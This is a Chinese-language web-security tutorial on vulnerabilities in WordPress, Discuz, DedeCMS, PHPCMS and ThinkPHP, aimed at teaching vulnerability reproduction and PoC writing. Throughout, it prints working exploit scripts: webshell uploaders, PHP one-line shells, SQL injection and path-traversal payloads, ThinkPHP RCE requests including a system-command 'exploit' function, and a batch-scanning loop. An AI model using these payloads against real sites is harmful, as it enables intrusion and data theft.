关于 Web 安全:6. 常见 CMS & 开源系统风险点

一、WordPress

  • 开源内容管理系统(CMS),使用 PHP + MySQL 构建;

  • 全球超过 40% 网站使用;

  • 支持插件、主题系统,功能可扩展性极强;

  • 也是风险点最多的系统之一,插件/主题贡献了大部分安全问题。

1.1 WordPress 架构概览

(便于理解风险点位置)

bash 复制代码
WordPress
├── wp-admin/     → 后台管理界面
├── wp-content/
│   ├── themes/   → 前端模板(可能存在 XSS/上传)
│   └── plugins/  → 插件目录(最多风险点来源)
├── wp-includes/  → 核心函数库
├── wp-config.php → 配置文件(数据库连接信息)
├── index.php     → 网站首页入口
└── functions.php → 常见主题挂钩函数

1.2 WordPress 常见风险点类型

类型 描述 示例插件/位置
任意文件上传 插件绕过上传限制,上传 PHP Shell 文件管理类插件、主题上传点
SQL 注入 参数未过滤,注入数据库语句 如 WP Statistics
XSS(跨站脚本) 用户输入未过滤,注入 JS 脚本 评论、搜索框、帖子
CSRF 未做 Token 验证的敏感操作 管理员点击恶意链接,触发敏感动作
RCE 通过插件/主题风险点,远程执行任意 PHP 命令 PHP Object Injection、eval() 后门
信息泄露 暴露用户、路径、目录结构等 xmlrpc 接口、REST API、目录遍历

1.3 历史 CVE 风险点分析(含原理)

CVE-2019-8942 --- 任意文件删除风险点

  • 位置 :wp-includes/functions.php

  • 影响版本:WordPress < 5.0.1

  • 原理:

    • wp_delete_attachment() 可删除任意路径;

    • 攻击者上传一个图片文件并删除对应路径可实现本地文件删除。

CVE-2020-25213 --- 插件 File Manager RCE

  • 插件名:File Manager(700k+ 安装)

  • 风险点描述:

    • 插件打包带了 elFinder 文件管理器;

    • elFinder 中的 connector.minimal.php 没有身份验证;

    • 可直接上传恶意 PHP 文件并执行,实现 RCE。

  • 利用路径:

bash 复制代码
POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php

CVE-2017-1001000 --- WP REST API 任意用户信息泄露

  • 影响版本:4.7.x

  • API 可被未授权访问,直接获取用户信息:

bash 复制代码
GET /wp-json/wp/v2/users

1.4 POC 编写方法(以 RCE 为例)

示例:File Manager 插件 RCE POC

python 复制代码
import requests  # 导入 requests 库,用于发送 HTTP 请求

def upload_shell(url):  # 定义上传 WebShell 的函数,参数为目标网站地址
    # 拼接目标上传地址,这是 WP File Manager 插件的一个文件上传接口路径
    upload_url = f"{url}/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"

    # 构造上传的文件参数,文件名为 shell.php,内容为执行 cmd 参数命令的 PHP 代码,MIME 类型为 PHP
    files = {
        'upload[]': ('shell.php', b'<?php echo shell_exec($_GET["cmd"]); ?>', 'application/x-php')
    }

    try:
        # 发送 POST 请求将文件上传到服务器
        r = requests.post(upload_url, files=files, timeout=5)

        # 如果响应中包含"added"关键字,表示上传成功
        if "added" in r.text:
            print("[+] 上传成功!尝试访问 shell")  # 打印成功信息
            # 打印 WebShell 的访问地址,并附带测试命令 ?cmd=id
            print(f"访问地址:{url}/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=id")
        else:
            print("[-] 上传失败")  # 上传不成功则输出失败信息
    except:
        print("[-] 请求失败")  # 请求过程中出现异常则输出失败信息

upload_shell("http://127.0.0.1")  # 调用函数,传入本地测试地址作为目标网站地址

1.5 风险点复现平台

1)Vulhub

  • 风险点靶场,提供 WordPress 相关复现环境

  • 使用方法:

bash 复制代码
git clone https://github.com/vulhub/vulhub.git
cd vulhub/wordpress/CVE-XXXX-XXXX
docker-compose up -d

2)GitHub PoC 搜索

bash 复制代码
site:github.com wordpress poc
site:github.com wordpress CVE-2020-25213

常见 PoC 库:

3)国内平台

平台 功能
CNVD 查阅已知 WordPress 核心/插件风险点
补天平台 提交 WordPress 风险点获得积分、赏金
风险点盒子(历史) 老平台,很多插件历史风险点记录

1.6 系统性 WordPress 风险点挖掘

初级阶段:

  • 安装 WordPress(建议用 Docker)

  • 安装热门插件(下载旧版本)

  • 配合 Burp Suite 抓包观察上传/请求

中级阶段:

  • 用 WPScan 自动化扫描插件风险点

  • 学习常见 CVE 利用过程

  • 手动构造 POC、复现请求

高级阶段:

  • 审计插件源码(PHP)

  • 分析插件 hook、filter、ajax 动态请求

  • 自己编写插件 + 引入风险点 → 学习风险点原理

1.7 WPScan 工具推荐

bash 复制代码
wpscan --url http://127.0.0.1 --enumerate p
  • --enumerate u 枚举用户

  • **--enumerate p**枚举插件

  • --api-token=xxx 可查 CVE

1.8 小结

项目 内容
学习方向 插件/主题安全、风险点分析、审计、PoC 编写
高危点 任意上传、插件远程命令执行、反序列化
实践方式 使用 Vulhub + GitHub POC + 自己编写上传脚本
常用工具 WPScan、Burp Suite、dirsearch、nuclei

二、Discuz

Discuz 是国内大量网站(如论坛、社区)的核心组件,因其广泛使用和 PHP 编写,成为安全研究重点对象。

  • 作者:Comsenz(腾讯收购)

  • 语言:PHP + MySQL

  • 用途:论坛、社区系统(可与 UCenter 集成)

  • 文件结构 :功能集中在 source/ 目录,交互入口在 forum.php、member.php 等

2.1 Discuz 常见风险点类型

风险点类型 描述 常见位置
SQL注入 参数拼接未过滤 搜索、登录、插件参数
任意文件上传 绕过 MIME 检测 上传头像、主题封面、插件
XSS 跨站脚本 输入未过滤、富文本风险点 帖子内容、签名、头像路径
CSRF 跨站请求伪造 缺少 formhash 校验 注册、发帖、添加管理员
远程代码执行 RCE 利用 eval / preg_replace / 动态 include 插件模板、缓存文件
任意文件读取/包含 用户输入拼接文件路径 include、require、loadcache
SSRF/命令注入 管理后台中图片链接处理 头像抓取、远程图片

2.2 Discuz 文件结构

利于 风险点定位

bash 复制代码
Discuz/
├── admin.php          → 后台入口
├── forum.php          → 主页面逻辑
├── uc_server/         → 用户中心(UCenter)
├── source/
│   ├── function/      → 核心函数库
│   ├── module/        → 模块控制器
│   ├── plugin/        → 插件目录
│   ├── class/         → 类库
│   └── include/       → 各类配置及逻辑函数
├── config/
├── data/
│   ├── cache/         → 缓存,某些可写导致 RCE
│   └── template/      → 模板编译生成目录
└── template/          → 前端模板

2.3 典型 CVE 和历史风险点详解

1)Discuz! X3.4 前台 getshell 风险点**(无 CVE,影响广泛)**

  • 版本:Discuz X3.4 < R20211215

  • 入口:插件上传图片时绕过 MIME 检测,写入 PHP Shell 到缓存目录

  • 关键点 :上传路径**data/cache/common.php** 被 include,成功 getshell

原理:

php 复制代码
// source/function/function_core.php
// 文件缓存内容直接 include
if(file_exists($cachefile)) {
    include $cachefile;
}
  • 攻击者构造上传内容为 PHP 代码,绕过格式检测;

  • 上传后缓存被 include,即可远程执行 PHP。

2)CVE-2013-2087 --- SQL 注入风险点

  • 版本:Discuz 7.2

  • 位置 :misc.php?mod=patch

  • 参数 :serial 直接进入 SQL 查询,未做参数过滤

  • 影响:可爆库、登录后台、提权等

3)XSS 风险点 --- 签名/主题

  • 签名设置时可以写入 <script>;

  • 管理员后台查看时触发;

  • 可构造Cookie 窃取 / CSRF 搭配使用实现提权

2.4 利用方式与 POC 编写

示例:Discuz X3.4 插件上传图片绕过上传检测 Getshell

python 复制代码
import requests

# 修改为你的目标站点
target = 'http://127.0.0.1/discuz/'

# 构造上传内容(PHP一句话)
payload = {
    'Filedata': ('shell.jpg', b'<?php eval($_POST["cmd"]);?>', 'image/jpeg')
}

headers = {
    'User-Agent': 'Mozilla/5.0',
    'Cookie': 'your_cookie_here'  # 登录后的 Cookie
}

upload_url = target + 'misc.php?mod=swfupload&action=swfupload&operation=album&type=image'
r = requests.post(upload_url, files=payload, headers=headers)

print('[+] 上传完成,检查是否写入缓存并被 include')

2.5 风险点挖掘思路

目标 方法
上传风险点 搜索 move_uploaded_file / copy 函数
SQL注入 搜索 $sql = "SELECT ... $_GET/$_POST"
XSS 搜索 echo $_GET/$_POST/$_COOKIE
文件包含 搜索 include($_GET)、require($var)
CSRF 找 form 操作是否校验 formhash

2.6 工具推荐

1)Burp Suite + 插件(xss validator、upload scanner)

2)代码审计工具

  • Seay Source Code Auditor(国产,支持 PHP)

  • RIPS(开源静态分析工具)

  • VSCode + 全局搜索

3)自动化风险点检测框架

  • dirsearch 、nuclei 、WhatWeb:探测后台与目录结构

  • sqlmap:测试 SQL 注入

2.7 风险点复现平台

平台 说明
CNVD 查 Discuz 历史风险点
风险点盒子 搜 Discuz + 风险点类型(如"discuz 文件上传")
补天平台 真实站点测试(白帽子平台)
GitHub PoC 搜索 直接下载复现脚本或 Fuzz 工具
Vulhub 虽未内置 Discuz,可自行搭建测试环境

2.8 系统学习 Discuz 风险点

推荐流程:

  1. 本地搭建环境:

    • 使用 LNMP(或 XAMPP/WAMP)搭建 Discuz

    • 安装常用插件如"X附件管理"、"门户扩展"、"积分商城"

  2. 手动分析风险点:

    • 查找上传入口、动态 include 文件

    • 配合 burp 抓包分析请求参数

  3. 复现公开风险点:

    • 利用 CNVD/wooyun 风险点标题 + GitHub 搜脚本

    • 改写为 POC/EXP,加深理解

  4. 源码审计(进阶):

    • 审计 source/function、module/plugin 目录

    • 重点函数:include, eval, move_uploaded_file, DB::query

2.9 小结

内容 说明
核心风险 上传点+缓存路径包含、插件不安全参数
高危函数 eval、preg_replace、include、require、DB::query
POC 编写 抓包分析请求路径、构造上传/注入/脚本内容
建议练手 X3.4 缓存上传 RCE、XSS(签名)、SQL注入 CVE-2013-2087
推荐技能 熟悉 PHP、掌握 Burp Suite、代码审计技巧

三、dedecms

  • 作者:织梦科技(dede58.com / dedecms.com)

  • 语言:PHP + MySQL

  • 用途:中小型企业官网、个人站、博客系统,国内使用广泛

  • 特性:模板灵活、后台功能强,但安全设计薄弱

3.1 DedeCMS 常见风险点类型

风险点类型 说明 风险点位置举例
SQL注入 参数拼接未过滤 member、plus、diy模块
任意文件上传 上传文件未做类型校验或扩展名绕过 模板文件上传、自定义表单上传
远程命令执行(RCE) 利用 include + 用户可控路径等构造 include 动态拼接
任意文件删除 可控路径拼接 unlink 函数 缓存清除/图片处理等
任意文件读取 拼接 include 路径、读取配置、数据库备份文件 下载备份数据库、模板泄漏
XSS 页面未对用户输入做转义 留言板、评论、会员资料、搜索框
CSRF 缺少 token 检查,用户操作被劫持 后台配置、会员注册或密码修改等

3.2 重要目录结构

bash 复制代码
dedecms/
├── dede/                 → 后台目录(默认可自定义)
├── plus/                 → 模块扩展接口(如留言板、搜索)
├── uploads/              → 用户上传目录
├── include/              → 核心库函数
├── data/                 → 数据库备份 / 配置文件 / 可读可写
├── templets/            → 前端模板目录
├── member/              → 用户系统模块
└── install/             → 安装程序

3.3 典型风险点与 CVE 实例详解

1)CVE-2018-6910 --- 任意文件删除风险点

  • 位置 :/plus/recommend.php

  • 原理:

    • 参数 aid 为用户控制,最终调用了**unlink** 删除文件

    • 可拼接删除任意文件,如:../../data/admin/config.php

php 复制代码
// plus/recommend.php
@unlink($cfg_basedir.$row['litpic']);

2)任意文件上传(getshell) --- no CVE

  • 版本:DedeCMS v5.7 SP2 / SP3 多版本

  • 位置:会员中心 / 模板管理上传 / 自定义表单

php 复制代码
// dede/templets.php
move_uploaded_file($_FILES['uploadfile']['tmp_name'], $cfg_basedir.$filename);
  • 可以构造上传**.php;.jpg** 文件绕过检查

  • 上传路径可控,如 uploads/a.php

3)SQL 注入风险点

  • 位置 :plus/diy.php, plus/search.php, member/guestbook.php 等

  • 危险函数 :$dsql->Execute(), GetOne(), ExecuteNoneQuery()

php 复制代码
// plus/diy.php
$query = "SELECT ... WHERE id='$id'";
// id 未过滤,拼接到 SQL
  • 利用 id=1' or updatexml(1,concat(0x7e,user()),0) --+ 可回显错误

4)远程代码执行风险点(RCE) --- include 拼接

  • 位置 :**/include/common.inc.php**中存在动态包含
php 复制代码
require_once(dirname(__FILE__).'/../'.$some_var.'.php');
  • 如果**$some_var** 可控,则可实现任意包含或代码执行

3.4 风险点挖掘与 POC 编写方法

示例:DedeCMS 任意文件上传 Getshell(会员中心)

攻击流程:

  1. 登录会员中心

  2. 上传头像时绕过检查上传 php

  3. 利用访问上传路径执行恶意代码

简易 POC:

python 复制代码
import requests

url = 'http://target.com/uploads/'
file = {'file1': ('shell.php', '<?php eval($_POST["cmd"]); ?>', 'application/octet-stream')}

r = requests.post('http://target.com/dede/templets_add.php', files=file)
if 'success' in r.text:
    print('[+] Upload success')
    print(f'[+] Shell: {url}shell.php')

3.5 代码审计思路

目标类型 搜索关键词
上传风险点 move_uploaded_file, copy
SQL 注入 SELECT * FROM, WHERE, $_GET, $_POST
文件包含/执行 include, require, eval
文件删除 unlink, @unlink
读取敏感信息 readfile, fopen

3.6 复现环境搭建

方式一:Docker 环境搭建

bash 复制代码
git clone https://github.com/vulhub/vulhub
cd vulhub/dedecms/CVE-2018-6910
docker-compose up -d

访问:http://localhost:8080

方式二:手动搭建

  1. 下载 dedecms 安装包(如 5.7 SP2)

  2. 本地配置 LNMP / XAMPP 环境

  3. 修改后台目录名(dede/)确保路径一致

  4. 添加测试数据,构造 payload

3.7 风险点资源获取平台

平台 用法示例
CNVD 搜索关键词 DedeCMS,获取风险点编号和说明
风险点盒子 搜 织梦, dedecms,查看历史风险点和 PoC
补天平台 查询真实站点 DedeCMS 风险点情况
GitHub PoC 搜索 dedecms poc exploit
SecWiki 整理常见 CMS 风险点

3.8 系统性 DedeCMS 风险点挖掘

初级:

  • 熟悉后台结构、模板上传逻辑、plus 接口参数

  • 练习 CVE-2018-6910(任意删除)和常见文件上传

中级:

  • 审计 member/plus/dede/include 目录代码

  • 编写 burp 插件抓包分析自定义上传逻辑

高级:

  • 分析 include/common.inc.php 加载流程

  • 搜索**eval, include, require, fwrite**,做静态审计

3.9 小结

内容 说明
高危函数 eval, include, move_uploaded_file, unlink
容易被攻击点 模板上传、会员资料、plus 接口
实战推荐风险点 任意删除 CVE-2018-6910、模板上传 Getshell
推荐平台与工具 GitHub PoC、Vulhub、Burp Suite、Seay 审计工具
建议 本地搭环境,复现 + 审计结合,逐步深入理解源码

四、phpcms

  • 名称:PHPCMS(PHP内容管理系统)

  • 作者:2003年诞生,开源免费,由盛大收购后开源终止,后由社区维护

  • 语言:PHP + MySQL

  • 版本 :常见使用版本为 PHPCMS v9

目录结构清晰、模块化好、使用面广,但安全性设计不够完善,是代码审计和风险点复现的经典 CMS 之一。

4.1 重要目录结构

sql 复制代码
phpcms/
├── phpcms/          ← 核心文件
├── caches/          ← 缓存目录,可写
├── statics/         ← 静态资源
├── api/             ← 接口模块
├── install/         ← 安装目录
├── member/          ← 会员中心
├── admin/           ← 管理后台
├── uploadfile/      ← 文件上传(可传马)
└── configs/         ← 数据库配置等

4.2 常见风险点类型总结

类型 简述
任意文件上传 上传头像、编辑器附件、模板等绕过限制,获取 webshell
SQL 注入 使用 **$this->db->query()**拼接参数导致注入
远程命令执行 用户参数拼接后用于 **eval、assert**等
任意文件包含 include($_GET['mod'].'.php') 这类形式
任意文件读取 readfile($filename) 或 file_get_contents($_GET['f'])
任意文件删除 **unlink($_GET['file'])**等未验证参数
后台绕过 管理登录验证绕过、验证码绕过
XSS/CSRF 富文本/评论系统等

4.3 典型风险点实例详解(含 CVE)

1)任意文件上传风险点(webshell)

  • 位置 :phpcms/modules/member/index.php

  • 原理:

    • 注册会员上传头像时,没有过滤扩展名或上传路径可控

    • 可以上传 a.php;.jpg 或通过目录穿越写入 .php

实战流程:

  1. 注册账号,访问上传接口

  2. 上传恶意 webshell

  3. 构造访问路径执行命令

示例代码:

php 复制代码
// member/index.php
$filepath = 'uploadfile/avatar/' . $userid . '.jpg';
move_uploaded_file($_FILES['Filedata']['tmp_name'], $filepath);

构造 payload:

bash 复制代码
POST /index.php?m=member&c=index&a=upload HTTP/1.1
...
Filedata = shell.php;.jpg   // 后缀绕过

2)SQL 注入风险点(无WAF场景高回显)

  • 位置 :/api.php,参数未过滤

  • CVE:CVE-2018-19127

  • POC:

perl 复制代码
http://target.com/index.php?m=content&c=index&a=lists&catid=1&kw=' and updatexml(1,concat(0x7e,user()),1) --+
  • 可直接报错注入,回显数据库用户名等敏感数据

3)任意文件读取风险点

  • 位置 :phpcms/modules/content/down.php

  • 风险点点:

php 复制代码
$filename = $_GET['f'];  // 未限制后缀名和目录
readfile($filename);
  • 构造访问:
bash 复制代码
http://target.com/index.php?m=content&c=down&a=init&f=../../config/database.php

4)任意文件包含风险点

  • CVE:CVE-2018-19126

  • 位置 :phpcms/modules/search/index.php

  • 核心代码:

php 复制代码
require_once PHPCMS_PATH.'include/'.$module.'.php';
  • 构造:
bash 复制代码
http://target.com/index.php?m=search&c=index&a=init&module=../../uploadfile/shell

前提是可控上传 + include。

4.4 POC 编写方式

以上传风险点为例,编写 POC 时通常包含三步:

  • 构造上传请求
python 复制代码
files = {
    'Filedata': ('shell.php;.jpg', '<?php eval($_POST["cmd"]); ?>', 'image/jpeg')
}
r = requests.post(upload_url, files=files)
  • 判断是否上传成功
python 复制代码
if 'success' in r.text and 'shell.php' in r.text:
    print("Upload Success")
  • 发送命令执行测试
python 复制代码
test = requests.post(shell_url, data={'cmd': 'phpinfo();'})
if 'PHP Version' in test.text:
    print("Shell is working")

4.5 复现平台

平台 使用方式
CNVD 搜索关键词 phpcms 查看风险点编号、通告
补天平台 搜 "phpcms" 查看实战攻击记录
GitHub POC 搜 phpcms poc exploit
Vulhub 提供 CVE-2018-19126 等复现环境
风险点盒子镜像 查找历史风险点投稿
Seebug 有详细风险点分析文章

4.6 本地搭建复现环境

方法一:使用 Vulhub

bash 复制代码
git clone https://github.com/vulhub/vulhub
cd vulhub/phpcms/CVE-2018-19126
docker-compose up -d

访问:http://localhost:8080

方法二:手动搭建

  • 下载 PHPCMS v9

  • 配置 LNMP 环境

  • 配置 MySQL 及数据库账号

  • 添加测试数据并尝试风险点构造

4.7 代码审计技巧

审计目标 检查方式
上传函数 move_uploaded_file, copy, fwrite,配合 $_FILES 使用
SQL语句拼接 $db->query("select * from ... ".$_GET['id'])
动态执行函数 eval(), include, require
文件读取 readfile, file_get_contents, fopen

4.8 学习建议

入门阶段

  • 学会搭建 phpcms v9 环境

  • 练习 CVE-2018-19126 文件包含

  • 抓包分析上传接口逻辑

进阶阶段

  • 熟练编写文件上传、注入、包含类风险点 POC

  • 尝试代码审计 phpcms/modules/* 路径下各模块

  • 搜索高危函数 eval, assert, unserialize

4.9 小结

内容 说明
高危点 上传接口、search 模块、down 模块
推荐复现风险点 CVE-2018-19126、上传 getshell
平台与资源 GitHub PoC、Vulhub、CNVD、补天
学习方向建议 审计 + 搭建复现 + 写 PoC + 看 CVE

五、ThinkPHP

  • 全称:ThinkPHP Framework

  • 作者/团队:TopThink(国人开发)

  • 语言:PHP

  • 版本体系:

    • ThinkPHP 3.x(大量站点仍在用)

    • ThinkPHP 5.x(5.0、5.1)

    • ThinkPHP 6.x(最新版,重构了架构)

安全性最差的版本为 ThinkPHP 5.0.x 和 5.1.x,风险点最多、利用最广。

5.1 常见风险点类型

风险点类型 简述
RCE(远程命令执行) 路由解析器对控制器/方法名未做严格过滤
SQL注入 部分版本参数拼接或query手动执行导致注入
变量覆盖 使用 extract、parse_str 导致全局变量被覆盖
文件包含 使用 include($file) 时未限制路径
信息泄露 debug 模式、trace、日志接口未关闭
任意文件写入/上传 模板写入、日志写入可导致任意写文件

5.2 核心风险点详解

1)ThinkPHP 5.0.23 RCE(经典)

  • 编号:无 CVE,但极其广泛

  • 影响版本:ThinkPHP 5.0.0 ~ 5.0.23

  • 原因 :路由系统未限制模块/方法名,导致**__construct()**被执行

请求构造:

bash 复制代码
POST /index.php?s=/index/\think\Request/input HTTP/1.1
Content-Type: application/x-www-form-urlencoded

_get[]=phpinfo
  • 解释:

    • **/index.php?s=/index/\think\Request/input**利用了 PHP 类自动加载

    • 调用了**Request::input()** 方法

    • _get[] 数组会被传给 **input**方法,最终触发命令执行

利用函数:

  • system()

  • phpinfo()

  • assert()

2)ThinkPHP 5.1.6 RCE(CVE-2018-20062)

  • 编号:CVE-2018-20062

  • 原理:控制器反射调用,构造调用方法并传参触发命令执行

利用路径:

bash 复制代码
GET /index.php?s=/index/\think\App/invokefunction&function=phpinfo&vars[0]=1
  • App::invokeFunction() 会调用任意函数 phpinfo,传参为 1

  • 支持调用 system, exec, shell_exec

攻击链:

bash 复制代码
\think\App -> invokeFunction(function, args) -> call_user_func_array

3)变量覆盖导致任意文件写入

  • 原理:

    • 日志系统使用 extract() 获取变量

    • 利用日志写入点 + 后缀伪造写入 webshell

利用条件:

  • 日志目录可写

  • 文件内容可控(如写入 <?php eval($_POST['cmd']); ?>)

5.3 POC 编写思路(以 5.0.23 RCE 为例)

POC 核心思路:

  • 发送 POST 请求执行**phpinfo()**测试 RCE 是否存在

  • 改成 **system('id')**实现命令执行

python 复制代码
import requests

url = 'http://target.com/index.php?s=/index/\\think\\Request/input'
data = {'_method': '__construct', 'filter[]': 'phpinfo', 'server[REQUEST_METHOD]': '1'}

r = requests.post(url, data=data)

if 'PHP Version' in r.text:
    print("[+] ThinkPHP RCE 存在!")

5.4 审计技巧与代码分析重点

关键位置 说明
route.php 路由定义和闭包函数可能执行
app()->run() 核心入口函数
App::invokeFunction 可反射执行任意函数
Request::input() 读取任意输入数据
Config::get() 读取配置(信息泄露点)
Log::write() 可控写入日志

5.5 复现平台

资源平台 用途与说明
Vulhub 提供 TP 5.0.23、5.1.6 风险点环境
GitHub POC 搜索 thinkphp RCE CVE poc
CNVD 查询国内披露的 TP 风险点
Seebug 优质风险点分析文章与实战案例
风险点盒子/补天 有丰富的 TP 实战提交和案例

5.6 本地环境复现(Vulhub)

bash 复制代码
git clone https://github.com/vulhub/vulhub
cd vulhub/thinkphp/5-rce
docker-compose up -d

访问:http://localhost:8080 可直接使用 PoC 测试是否存在风险点

5.7 实战挖掘技巧

1)路由注入点识别

  • **/index.php?s=/**是否存在?

  • 是否允许使用 \think\类名 构造请求?

2)控制器调用链梳理

  • 查看是否存在反射执行点 App::invokeFunction, Loader::action

3)日志/模板写入点

  • 查看**Log::write()**是否内容可控

  • 模板编译缓存是否在 web 根目录**(runtime/temp/*.php)**

4)DEBUG 模式信息泄露

访问:

bash 复制代码
/index.php?s=/index/\\think\\app/invokefunction&function=phpinfo
/index.php?debug=1

5.8 版本风险点

版本 风险点 CVE/说明
TP 5.0.23 RCE via Request::input 无 CVE,经典构造
TP 5.1.6 RCE via App::invokeFunction CVE-2018-20062
TP 3.2.3 SQL 注入、变量覆盖 存在多个未修复风险点
TP 通用 任意方法调用、任意文件写入、debug 泄露 取决于配置与代码写法

5.9 学习建议

阶段 学习建议
入门 跑通 Vulhub 的 TP 风险点复现,理解控制器调用链
进阶 熟悉框架路由机制、反射函数执行机制
提升 自己写一个小风险点框架或扫描器,挖私有站风险点

六、CVE 利用方式

6.1 什么是 CVE?

  • CVE 编号示例:CVE-2018-20062

  • 组成 :CVE-年份-编号,如 CVE-2023-XXXX

  • 意义:为安全研究者提供一个统一引用风险点的"身份证"。

6.2 CVE 风险点利用的一般步骤

步骤 说明
① 查找 CVE 信息 在 NVD、Exploit-DB、Seebug、CNVD 上查询
② 理解风险点原理 阅读风险点分析报告,梳理调用链与触发点
③ 环境搭建 使用 Vulhub、Docker、本地源码构建环境
④ 编写 PoC 构造触发风险点的数据包或请求
⑤ 执行利用 利用风险点执行命令、读取文件、getshell 等
⑥ 留痕排查 查看日志、修复补丁、写风险点检测脚本

6.3 CVE 利用类型示例(Web 安全领域)

类型 示例 CVE 利用方式
RCE(远程命令执行) CVE-2018-20062(ThinkPHP) 构造反射函数调用执行命令
SQL注入 CVE-2022-36804(Jira) 在查询参数中注入 SQL 语句
文件上传 CVE-2023-25136(某 CMS) 构造非法上传绕过后缀检查
文件包含 CVE-2019-6340(Drupal) 包含远程代码并执行
任意文件读取 CVE-2021-43798(Grafana) 利用路径穿越读取系统文件

6.4 CVE 利用方式深入分析:以两个 CVE 为例

案例一:ThinkPHP RCE(CVE-2018-20062)

风险点概述:

  • 利用了 **App::invokeFunction()**方法未做权限验证,可远程执行任意函数

请求方式:

bash 复制代码
GET /index.php?s=/index/\think\App/invokefunction&function=phpinfo&vars[0]=1

实现效果:

  • 执行任意 PHP 函数,如 system("id")

利用步骤:

  • 本地搭建 ThinkPHP 5.1 环境

  • 访问上方构造的 URL

  • 响应中出现 PHP 版本信息或执行结果

案例二:Apache Struts2 RCE(CVE-2017-5638)

风险点:

  • Apache Struts2 文件上传组件使用**Content-Type**头触发 OGNL 表达式执行

Payload 示例:

bash 复制代码
Content-Type: %{(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("X-Test","Exploit"))}

执行效果:

  • 执行任意命令,如 whoami、反弹 shell

6.5 CVE PoC 编写方法(以 Web 为例)

1)PoC 基本结构

python 复制代码
import requests

def test(url):
    payload = "/index.php?s=/index/\\think\\App/invokefunction&function=phpinfo&vars[0]=1"
    res = requests.get(url + payload)
    if "PHP Version" in res.text:
        print("[+] 风险点存在")
    else:
        print("[-] 风险点不存在")

test("http://127.0.0.1")

2)攻击型 Exploit 示例(RCE)

python 复制代码
import requests

def exploit(url, cmd):
    payload = f"/index.php?s=/index/\\think\\App/invokefunction&function=system&vars[0]={cmd}"
    res = requests.get(url + payload)
    print(res.text)

exploit("http://127.0.0.1", "id")

6.6 常用平台查找 CVE 和 POC

1)官方平台

名称 地址 说明
NVD https://nvd.nist.gov 官方 CVE 数据库
CVE 官网 https://cve.mitre.org CVE 编号查询
CNVD https://www.cnvd.org.cn 国内风险点库

2)POC/EXP 平台

平台 用途
Exploit-DB:https://www.exploit-db.com 收录 CVE 的 Exploit 代码
GitHub(搜索 CVE-xxxx) 搜索开源 POC/EXP
Seebug:https://paper.seebug.org 中文分析报告与 POC
风险点盒子、补天平台 可上传和复现 CVE
Vulhub:https://github.com/vulhub/vulhub 提供 CVE 对应的 Docker 风险点复现环境

6.7 CVE 实战思路总结

  • 先搜索 CVE 编号(Google、NVD、Seebug)

  • 确认版本是否影响

  • 在 Vulhub 构建复现环境

  • 写 POC 脚本测试回显

  • 扩展为批量检测脚本、自动化利用工具

  • 提交风险点平台如补天、SRC 或 GitHub


七、POC 编写方法

PoC(Proof of Concept) 是指用于验证风险点是否存在的一段代码或脚本,通常用来:

  • 风险点复现与验证

  • 自动化扫描

  • 提交风险点平台(如补天、CNVD)

  • 作为风险点利用(EXP)的前置阶段

重点是"验证",不是"攻击"。PoC 不应对目标造成破坏。

7.1 PoC 的基本结构

PoC 的核心功能就是构造特定请求 ➜ 发送 ➜ 判断响应 ➜ 输出结果

python 复制代码
import requests

def poc(url):
    payload = "..."  # 构造恶意请求
    res = requests.get(url + payload)
    
    if "风险点特征" in res.text:
        print(f"[+] {url} 存在风险点!")
    else:
        print(f"[-] {url} 不存在风险点。")

7.2 常见风险点类型的 PoC 编写模板

1)远程命令执行(RCE)

以 ThinkPHP RCE 为例(CVE-2018-20062):

python 复制代码
def thinkphp_rce(url):
    payload = "/index.php?s=/index/\\think\\App/invokefunction&function=phpinfo&vars[0]=1"
    try:
        res = requests.get(url + payload, timeout=5)
        if "PHP Version" in res.text:
            print(f"[+] 存在RCE风险点: {url}")
        else:
            print("[-] 不存在风险点")
    except:
        print("[-] 请求失败")

2)SQL 注入风险点

以某 CMS POST 注入为例:

python 复制代码
def sql_injection(url):
    data = {
        "username": "admin",
        "password": "admin' OR 1=1-- "
    }
    res = requests.post(url, data=data)
    if "欢迎您" in res.text or "dashboard" in res.text:
        print(f"[+] SQL注入成功: {url}")
    else:
        print("[-] SQL注入失败")

3)任意文件读取

以 Grafana 任意文件读取(CVE-2021-43798)为例:

python 复制代码
def read_file(url):
    payload = "/public/plugins/alertlist/../../../../../../../../etc/passwd"
    res = requests.get(url + payload)
    if "root:x:0:0:" in res.text:
        print(f"[+] 存在任意文件读取: {url}")
    else:
        print("[-] 风险点不存在")

4)文件上传绕过

常见场景是上传 php 文件绕过后缀验证:

python 复制代码
def file_upload_poc(upload_url):
    files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')}
    res = requests.post(upload_url, files=files)
    if "上传成功" in res.text:
        print(f"[+] 文件上传成功,可能存在风险点")

7.3 编写 PoC 的核心技巧

1)如何构造 Payload?

  • 利用抓包工具(BurpSuite、Fiddler)观察正常和异常请求差异

  • 分析风险点原理,寻找参数、路径或头部注入点

  • 参考 Github / Exploit-DB 的 PoC 样例进行改写

2)如何判断是否成功?

  • 关键词判断法 :如 "PHP Version"、"uid="、"root:x:0" 等

  • 响应长度变化

  • HTTP 状态码

  • 响应头部特征

3)如何提升 PoC 自动化能力?

  • 增加 URL 检测逻辑,自动补全路径

  • 增加 timeout/重试机制

  • 支持批量扫描、读取目标列表

  • 添加可视化或日志记录模块

示例:批量扫描 PoC 框架

python 复制代码
def scan(target_list):
    for url in target_list:
        try:
            thinkphp_rce(url)
        except Exception as e:
            print(f"[-] 扫描失败:{url}, 错误:{e}")

7.4 PoC 工具和平台资源

名称 用途
Vulhub Docker 风险点复现环境
Pocsuite3(推荐) Python 风险点验证框架
Seebug 中文 PoC 平台
Exploit-DB 国外 PoC 收集站
GitHub 搜索:CVE-202x-xxxx poc
补天、风险点盒子 提交风险点、查看他人 PoC

7.5 进阶建议

1)学习 PoC 框架

  • **Pocsuite3:**360 Mars 团队开源风险点验证框架

  • **Nuclei:**字节开源 YAML 编写 POC 框架,适合做批量扫描

  • **Metasploit:**EXP 居多,也包含 PoC 模块

2)看公开源码学习结构

  • GitHub 搜索 intitle:poc CVE-202* ,或关键词**cms风险点 poc**,对照学习

  • 关注 SRC/补天 高质量 PoC 写法(参数化、模块化)

7.6 小结

内容 重点
PoC 目的 风险点洞验证、非破坏性测试
编写核心 构造请求 + 判断结果
编写顺序 先复现 ➜ 观察请求 ➜ 写脚本 ➜ 自动化
实战建议 多复现 CVE + 写自己的 PoC 库
